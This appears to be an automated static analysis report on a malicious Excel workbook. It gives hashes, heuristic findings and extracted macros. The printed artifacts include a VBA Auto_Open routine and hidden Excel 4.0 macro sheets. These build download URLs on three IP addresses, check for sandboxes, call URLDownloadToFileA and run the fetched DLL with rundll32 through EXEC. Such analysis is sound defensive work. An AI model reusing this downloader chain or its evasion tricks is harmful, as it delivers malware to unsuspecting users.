Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0370a16d7550d475…

MALICIOUS

Office (OOXML)

219.2 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-04
MD5: 5644bed598ccdf29bc4296d8ff99c157 SHA-1: a346297b7f78dbdfea496883e9d505b61acf4168 SHA-256: 0370a16d7550d47567be33eec3d6da7d3c606ca852fceb6208031a1ea4996186
178 Risk Score

Heuristics 7

  • Excel 4.0 macro sheet (3 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: FORMULA, HALT, GOTO, REGISTER, EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Public Function Auto_Open()
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://5.34.179.91/ Referenced by macro
    • http://91.132.103.3/Referenced by macro
    • http://5.34.179.91/44313,6048108796.datReferenced by macro
    • http://185.106.122.91/44313,6048108796.datReferenced by macro
    • http://91.132.103.3/44313,6048108796.datReferenced by macro
    • http://185.106.122.91/Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2220 bytes
SHA-256: 575cff377c7ce9d2de7685d876b3a2e3b5d44fd0e98df30551dc0a89c078d748
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Byutut"



Public Function Auto_Open()

Application.Run Sheets("Klasters").Range("AM5")

Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")
Application.Run Sheets("Klasters").Range("A5")


End Function

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17408 bytes
SHA-256: 63a43573a152af2a4688bfef0fabbf3ee7c4aae9c6ed07b0733a5bce3ed25a6e
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 4230 bytes
SHA-256: e3a744fd320281343866e0a30b39676674267da2ac15bd3afd735ea1d3c1b08a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{5E3EE2C8-4BD1-4A7A-8165-1C49BDB78CBA}"><dimension ref="AG62:AN81"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="13.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="31" width="13.5703125" style="3"/><col min="32" max="32" width="13.5703125" style="3" customWidth="1"/><col min="33" max="34" width="13.5703125" style="3" hidden="1" customWidth="1"/><col min="35" max="35" width="17.5703125" style="3" hidden="1" customWidth="1"/><col min="36" max="38" width="13.5703125" style="3" hidden="1" customWidth="1"/><col min="39" max="39" width="13.85546875" style="3" hidden="1" customWidth="1"/><col min="40" max="40" width="13.5703125" style="3" hidden="1" customWidth="1"/><col min="41" max="16384" width="13.5703125" style="3"/></cols><sheetData><row r="62" spans="36:39" x14ac:dyDescent="0.25"><c r="AM62" s="3" t="e"><f>IF(GET.WORKSPACE(42),,CLOSE(TRUE))</f><v>#N/A</v></c></row><row r="63" spans="36:39" x14ac:dyDescent="0.25"><c r="AJ63" s="3"><v>1</v></c></row><row r="64" spans="36:39" x14ac:dyDescent="0.25"><c r="AJ64" s="3"><v>9</v></c></row><row r="66" spans="34:39" x14ac:dyDescent="0.25"><c r="AI66" s="3"><f>NOW()</f><v>44313.604810879631</v></c></row><row r="67" spans="34:39" x14ac:dyDescent="0.25"><c r="AI67" s="3" t="b"><f>FORMULA(AH79&amp;AH80&amp;AH81,AJ71)</f><v>0</v></c><c r="AM67" s="3" t="e"><f>IF(GET.WORKSPACE(19),,CLOSE(1))</f><v>#N/A</v></c></row><row r="68" spans="34:39" x14ac:dyDescent="0.25"><c r="AH68" s="3" t="str"><f>CONCATENATE(AH74,AI66,AH72,AH73)</f><v>http://5.34.179.91/44313,6048108796.dat</v></c><c r="AM68" s="3" t="e"><f>GET.WORKSPACE(26)</f><v>#N/A</v></c></row><row r="69" spans="34:39" x14ac:dyDescent="0.25"><c r="AH69" s="3" t="str"><f>CONCATENATE(AH75,AI66,AH72,AH73)</f><v>http://185.106.122.91/44313,6048108796.dat</v></c><c r="AM69" s="3" t="b"><f>IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),ON.TIME(NOW()+"00:00:02","Milolos"),CLOSE(1))</f><v>0</v></c></row><row r="70" spans="34:39" x14ac:dyDescent="0.25"><c r="AH70" s="3" t="str"><f>CONCATENATE(AH76,AI66,AH72,AH73)</f><v>http://91.132.103.3/44313,6048108796.dat</v></c><c r="AJ70" s="3" t="s"><v>2</v></c></row><row r="72" spans="34:39" x14ac:dyDescent="0.25"><c r="AH72" s="3" t="s"><v>0</v></c><c r="AJ72" s="3" t="s"><v>3</v></c><c r="AM72" s="3" t="b"><f>HALT()</f><v>0</v></c></row><row r="73" spans="34:39" x14ac:dyDescent="0.25"><c r="AH73" s="3" t="s"><v>1</v></c><c r="AJ73" s="3" t="s"><v>4</v></c></row><row r="74" spans="34:39" x14ac:dyDescent="0.25"><c r="AH74" s="3" t="s"><v>6</v></c></row><row r="75" spans="34:39" x14ac:dyDescent="0.25"><c r="AH75" s="3" t="str"><f>"http://185.106.122.91/"</f><v>http://185.106.122.91/</v></c><c r="AI75" s="3" t="e"><f>GOTO(Blodas!G6)</f><v>#N/A</v></c></row><row r="76" spans="34:39" x14ac:dyDescent="0.25"><c r="AH76" s="3" t="s"><v>7</v></c><c r="AJ76" s="3" t="s"><v>5</v></c></row><row r="79" spans="34:39" x14ac:dyDescent="0.25"><c r="AH79" s="3" t="str"><f>"UR"</f><v>UR</v></c></row><row r="80" spans="34:39" x14ac:dyDescent="0.25"><c r="AH80" s="3" t="str"><f>"LDownloadT"</f><v>LDownloadT</v></c></row><row r="81" spans="34:34" x14ac:dyDescent="0.25"><c r="AH81" s="3" t="str"><f>"oFileA"</f><v>oFileA</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 2140 bytes
SHA-256: 75cb5bc00f344f305f75bbbcb076dfbef840999cdacdab06b49b508e12c29f0e
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B06B5105-687C-43F7-A487-3A7680CBC977}"><dimension ref="G11:G18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="9.140625" style="2"/><col min="7" max="7" width="12.140625" style="2" customWidth="1"/><col min="8" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="11" spans="7:7" x14ac:dyDescent="0.25"><c r="G11" s="2" t="b"><f>REGISTER(Klasters!AJ70,Klasters!AJ71,Klasters!AJ72,Klasters!AJ73,,Klasters!AJ63,9)</f><v>0</v></c></row><row r="12" spans="7:7" x14ac:dyDescent="0.25"><c r="G12" s="2" t="e"><f>Belandes(0,Klasters!AH68,Klasters!AJ76,0,0)</f><v>#NAME?</v></c></row><row r="13" spans="7:7" x14ac:dyDescent="0.25"><c r="G13" s="2" t="e"><f>IF(G12&lt;0, Belandes(0,Klasters!AH69,Klasters!AJ76,0,0))</f><v>#NAME?</v></c></row><row r="14" spans="7:7" x14ac:dyDescent="0.25"><c r="G14" s="2" t="e"><f>IF(G13&lt;0, Belandes(0,Klasters!AH70,Klasters!AJ76,0,0))</f><v>#NAME?</v></c></row><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="2"><f>IF(G14&lt;0,CLOSE(0),)</f><v>0</v></c></row><row r="18" spans="7:7" x14ac:dyDescent="0.25"><c r="G18" s="2" t="e"><f>GOTO(Jioka!H4)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 1839 bytes
SHA-256: dde6292619407cd5e321eae6ffce78ceda2ffd7b35d4633b1ff6c5c7a78eb139
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{7CC12E8C-181F-40F2-A690-14110549575E}"><dimension ref="H9:I20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="9.140625" style="2"/><col min="8" max="8" width="9.85546875" style="2" customWidth="1"/><col min="9" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="9" spans="8:9" x14ac:dyDescent="0.25"><c r="I9" s="2" t="str"><f>"rundll32 ..\Butyo.vikas"</f><v>rundll32 ..\Butyo.vikas</v></c></row><row r="10" spans="8:9" x14ac:dyDescent="0.25"><c r="I10" s="2" t="str"><f>",DllRegisterServer"</f><v>,DllRegisterServer</v></c></row><row r="16" spans="8:9" x14ac:dyDescent="0.25"><c r="H16" s="2" t="b"><f>T(E17)=EXEC(I9&amp;I10)</f><v>0</v></c></row><row r="20" spans="8:8" x14ac:dyDescent="0.25"><c r="H20" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.